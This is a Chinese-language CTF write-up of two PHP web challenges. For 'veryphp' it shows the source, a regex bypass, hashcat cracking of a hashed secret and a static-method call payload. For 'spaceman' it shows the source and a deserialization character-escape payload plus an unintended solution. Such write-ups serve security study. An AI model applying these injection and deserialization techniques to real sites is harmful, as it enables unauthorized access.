DJBCTF之web

veryphp

源码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}

Input correct parameters

第一步绕过正则 (建议直接使用burp ) 注意 下划线被过滤了 可以使用空格 加号或者中括号 php会把它们解析为下划线

1
shaw+root=-a9<b>111111111>>>>abcphp@Rsz

得到hint

1
Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

用hashcat爆破 SecretNumber

1
hashcat-5.1.0>hashcat64.exe -a 3 -m 0 166b47a5cb1ca2431a0edfcef200684f shaw?d?d?d?d?droot

最后 call_user_func函数 用::调用静态方法

payload:

1
shaw+root=-a9<b>111111111>>>>abcphp@Rsz&ans=21475&my+ans=qwq::oao

spaceman

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
public function __wakeup()
{
if($this->password==='ctfshowvip')
{
include("flag.php");
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>

预期解

反序列化字符逃逸

正常的反序列化结果:

1
O:8:"spaceman":2:{s:8:"username";s:5:"admin";s:8:"password";s:10:"ctfshowvip";}

filter函数会将 ctfshowup替换成ctfshow 也就是减少了两个字符

可以肯定的是 我们pass word传的肯定是

1
;s:8:"password";s:10:"ctfshowvip";}

我们需要吃掉的字符串是 这22个字符

1
s:8:"password";s:35:

所以传入username11个 ctfshowup就行

1
ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup

payload

1
user+name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass+word=;s:8:"password";s:10:"ctfshowvip";}

非预期

1
user name=1&pass word=ctfshowvip
  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2021-2023 Wh1tecell
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~